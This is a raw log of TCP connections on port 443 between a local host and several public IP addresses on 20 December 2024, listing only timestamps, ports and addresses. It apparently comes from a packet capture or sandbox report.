Dec 20, 2024 20:30:59.886322021 CET	49726	443	192.168.2.8	169.150.255.183
Dec 20, 2024 20:30:59.886332989 CET	443	49726	169.150.255.183	192.168.2.8
Dec 20, 2024 20:30:59.889508009 CET	443	49726	169.150.255.183	192.168.2.8
Dec 20, 2024 20:30:59.889569998 CET	49726	443	192.168.2.8	169.150.255.183
Dec 20, 2024 20:30:59.890185118 CET	49726	443	192.168.2.8	169.150.255.183
Dec 20, 2024 20:30:59.890260935 CET	443	49726	169.150.255.183	192.168.2.8
Dec 20, 2024 20:30:59.890314102 CET	49726	443	192.168.2.8	169.150.255.183
Dec 20, 2024 20:30:59.890320063 CET	443	49726	169.150.255.183	192.168.2.8
Dec 20, 2024 20:30:59.929790020 CET	49726	443	192.168.2.8	169.150.255.183
Dec 20, 2024 20:31:00.046571016 CET	443	49725	162.241.114.35	192.168.2.8
Dec 20, 2024 20:31:00.046653986 CET	443	49725	162.241.114.35	192.168.2.8
Dec 20, 2024 20:31:00.046694994 CET	49725	443	192.168.2.8	162.241.114.35
Dec 20, 2024 20:31:00.048015118 CET	49725	443	192.168.2.8	162.241.114.35
Dec 20, 2024 20:31:00.048031092 CET	443	49725	162.241.114.35	192.168.2.8
Dec 20, 2024 20:31:00.415617943 CET	443	49726	169.150.255.183	192.168.2.8
Dec 20, 2024 20:31:00.415812016 CET	443	49726	169.150.255.183	192.168.2.8
Dec 20, 2024 20:31:00.415920973 CET	49726	443	192.168.2.8	169.150.255.183
Dec 20, 2024 20:31:00.416604042 CET	49726	443	192.168.2.8	169.150.255.183
Dec 20, 2024 20:31:00.416625023 CET	443	49726	169.150.255.183	192.168.2.8
Dec 20, 2024 20:31:04.508893013 CET	49727	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:04.508910894 CET	443	49727	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:04.508975029 CET	49727	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:04.509408951 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:04.509416103 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:04.509469032 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:04.509695053 CET	49727	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:04.509706020 CET	443	49727	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:04.509747028 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:04.509757996 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:05.897912025 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:05.899626017 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:05.899640083 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:05.900687933 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:05.900747061 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:05.901809931 CET	443	49727	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:05.901979923 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:05.902045012 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:05.902156115 CET	49727	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:05.902163029 CET	443	49727	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:05.902384996 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:05.902391911 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:05.903405905 CET	443	49727	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:05.903481960 CET	49727	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:05.904294014 CET	49727	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:05.904355049 CET	443	49727	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:05.949722052 CET	49727	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:05.949722052 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:05.949739933 CET	443	49727	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:06.000503063 CET	49727	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:06.767596960 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:06.767616987 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:06.767623901 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:06.767632961 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:06.767668009 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:06.767718077 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:06.767733097 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:06.767760038 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:06.767793894 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:06.810480118 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:06.810498953 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:06.810600996 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:06.810614109 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:06.810676098 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:06.963217020 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:06.963247061 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:06.963498116 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:06.963509083 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:06.963608980 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:06.986792088 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:06.986830950 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:06.986963987 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:06.986974001 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:06.987071991 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:06.987071991 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:07.011954069 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:07.011972904 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:07.012042999 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:07.012053013 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:07.012100935 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:07.034666061 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:07.034682035 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:07.034738064 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:07.034755945 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:07.034996986 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:07.159286976 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:07.159332037 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:07.159359932 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:07.159374952 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:07.159429073 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:07.159429073 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:07.174802065 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:07.174815893 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:07.174855947 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:07.174871922 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:07.174910069 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:07.174910069 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:07.192348957 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:07.192365885 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:07.192410946 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:07.192425013 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:07.192790985 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:07.210010052 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:07.210025072 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:07.210082054 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:07.210089922 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:07.210134029 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:07.210134029 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:07.248503923 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:07.248527050 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:07.248599052 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:07.248599052 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:07.248605967 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:07.248677015 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:07.359407902 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:07.359461069 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:07.359575033 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:07.359575033 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:07.359605074 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:07.360904932 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:07.371679068 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:07.371711969 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:07.371793032 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:07.371817112 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:07.371861935 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:07.371861935 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:07.384392977 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:07.384444952 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:07.384471893 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:07.384480000 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:07.384515047 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:07.384533882 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:07.384563923 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:07.384834051 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:07.384922981 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:07.385154963 CET	49728	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:07.385169029 CET	443	49728	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:15.221549988 CET	49729	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:15.221652031 CET	443	49729	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:15.221739054 CET	49729	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:15.222342968 CET	49729	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:15.222379923 CET	443	49729	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:15.243330002 CET	49727	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:15.243375063 CET	49727	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:15.243451118 CET	443	49727	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:15.844024897 CET	443	49727	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:15.844233990 CET	443	49727	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:15.844300032 CET	49727	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:15.844906092 CET	49727	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:15.844926119 CET	443	49727	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:15.844937086 CET	49727	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:15.844974041 CET	49727	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:16.606583118 CET	443	49729	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:16.608644962 CET	49729	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:16.608716965 CET	443	49729	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:16.610337973 CET	443	49729	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:16.610794067 CET	49729	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:16.610946894 CET	49729	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:16.610960007 CET	443	49729	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:16.611002922 CET	443	49729	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:16.665760040 CET	49729	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:17.760271072 CET	443	49729	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:17.760304928 CET	443	49729	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:17.760318041 CET	443	49729	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:17.760428905 CET	49729	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:17.760481119 CET	443	49729	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:17.760540009 CET	49729	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:17.972904921 CET	443	49729	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:17.972934961 CET	443	49729	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:17.972985983 CET	443	49729	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:17.972984076 CET	49729	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:17.973054886 CET	443	49729	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:17.973102093 CET	49729	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:17.973102093 CET	49729	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:17.973102093 CET	49729	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:17.973120928 CET	443	49729	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:17.973139048 CET	443	49729	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:17.973181009 CET	49729	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:18.023466110 CET	443	49729	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:18.023514986 CET	443	49729	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:18.023597956 CET	49729	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:18.023617029 CET	443	49729	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:18.023650885 CET	49729	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:18.023667097 CET	49729	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:18.160146952 CET	443	49729	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:18.160206079 CET	443	49729	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:18.160352945 CET	443	49729	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:18.160362959 CET	49729	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:18.160398006 CET	443	49729	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:18.160427094 CET	49729	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:18.160597086 CET	443	49729	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:18.160661936 CET	49729	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:18.161617041 CET	49729	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:18.161653996 CET	443	49729	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:18.161675930 CET	49729	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:18.161708117 CET	49729	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:18.216957092 CET	49730	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:18.217009068 CET	443	49730	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:18.217076063 CET	49730	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:18.217278957 CET	49730	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:18.217293024 CET	443	49730	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:19.601180077 CET	443	49730	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:19.613605976 CET	49730	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:19.613631964 CET	443	49730	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:19.615120888 CET	443	49730	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:19.615196943 CET	49730	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:19.616334915 CET	49730	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:19.616404057 CET	443	49730	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:19.616713047 CET	49730	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:19.616722107 CET	443	49730	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:19.664253950 CET	49730	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:21.122270107 CET	443	49730	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:21.122303963 CET	443	49730	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:21.122314930 CET	443	49730	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:21.122340918 CET	443	49730	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:21.122349024 CET	443	49730	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:21.122356892 CET	443	49730	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:21.122453928 CET	49730	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:21.122454882 CET	49730	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:21.122517109 CET	443	49730	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:21.122581959 CET	49730	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:21.164818048 CET	443	49730	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:21.164845943 CET	443	49730	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:21.164882898 CET	49730	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:21.164894104 CET	443	49730	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:21.164930105 CET	49730	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:21.164942026 CET	49730	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:21.324040890 CET	443	49730	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:21.324069023 CET	443	49730	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:21.324107885 CET	49730	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:21.324120998 CET	443	49730	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:21.324167967 CET	49730	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:21.326193094 CET	443	49730	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:21.326236963 CET	49730	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:21.326241970 CET	443	49730	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:21.326323032 CET	443	49730	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:21.326359034 CET	49730	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:21.326795101 CET	49730	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:21.326808929 CET	443	49730	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:21.365128994 CET	49731	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:21.365207911 CET	443	49731	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:21.365267992 CET	49731	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:21.365585089 CET	49731	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:21.365602016 CET	443	49731	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:21.406965971 CET	49732	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:21.407087088 CET	443	49732	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:21.407155991 CET	49732	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:21.407378912 CET	49732	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:21.407402039 CET	443	49732	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:21.416917086 CET	49733	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:21.416956902 CET	443	49733	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:21.417006969 CET	49733	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:21.417812109 CET	49734	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:21.417834997 CET	443	49734	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:21.417884111 CET	49734	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:21.419081926 CET	49734	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:21.419096947 CET	443	49734	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:21.419224024 CET	49733	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:21.419235945 CET	443	49733	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:21.471472979 CET	49735	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:21.471569061 CET	443	49735	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:21.471642971 CET	49735	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:21.471812010 CET	49735	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:21.471842051 CET	443	49735	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:22.751952887 CET	443	49731	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:22.752404928 CET	49731	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:22.752465010 CET	443	49731	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:22.752979994 CET	443	49731	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:22.753318071 CET	49731	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:22.753412008 CET	443	49731	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:22.753602028 CET	49731	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:22.798966885 CET	443	49732	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:22.799248934 CET	49732	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:22.799302101 CET	443	49732	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:22.799371958 CET	443	49731	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:22.800461054 CET	443	49732	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:22.800750971 CET	49732	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:22.800872087 CET	49732	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:22.800879955 CET	443	49732	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:22.800941944 CET	443	49732	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:22.811918974 CET	443	49734	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:22.812259912 CET	49734	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:22.812284946 CET	443	49734	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:22.813185930 CET	443	49734	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:22.813349009 CET	49734	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:22.813570023 CET	49734	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:22.813636065 CET	443	49734	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:22.815479040 CET	443	49733	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:22.815644026 CET	49733	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:22.815670967 CET	443	49733	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:22.817092896 CET	443	49733	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:22.817153931 CET	49733	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:22.817409992 CET	49733	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:22.817490101 CET	443	49733	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:22.817506075 CET	49733	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:22.842380047 CET	49732	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:22.852174044 CET	443	49735	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:22.852798939 CET	49735	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:22.852823973 CET	443	49735	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:22.853851080 CET	443	49735	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:22.853919983 CET	49735	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:22.854263067 CET	49735	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:22.854320049 CET	443	49735	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:22.854407072 CET	49735	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:22.857805967 CET	49733	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:22.857808113 CET	49734	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:22.857822895 CET	443	49733	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:22.857846022 CET	443	49734	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:22.895344019 CET	443	49735	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:22.903695107 CET	49733	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:22.903696060 CET	49735	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:22.903754950 CET	443	49735	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:22.903798103 CET	49734	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:22.949740887 CET	49735	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:23.675041914 CET	443	49731	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:23.675149918 CET	443	49731	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:23.675228119 CET	49731	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:23.675331116 CET	49731	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:23.675376892 CET	443	49731	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:23.816992044 CET	443	49733	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:23.817107916 CET	443	49733	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:23.817198992 CET	49733	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:23.818939924 CET	49733	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:23.818962097 CET	443	49733	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:23.875529051 CET	443	49735	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:23.875560045 CET	443	49735	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:23.875566959 CET	443	49735	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:23.875581026 CET	443	49735	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:23.875586033 CET	443	49735	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:23.875591040 CET	443	49735	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:23.875679970 CET	49735	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:23.875730991 CET	443	49735	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:23.875745058 CET	49735	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:23.929394960 CET	49735	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:24.042169094 CET	49736	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:24.042234898 CET	443	49736	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:24.042309046 CET	49736	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:24.042592049 CET	49736	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:24.042606115 CET	443	49736	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:24.081079006 CET	443	49735	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:24.081098080 CET	443	49735	159.89.96.140	192.168.2.8
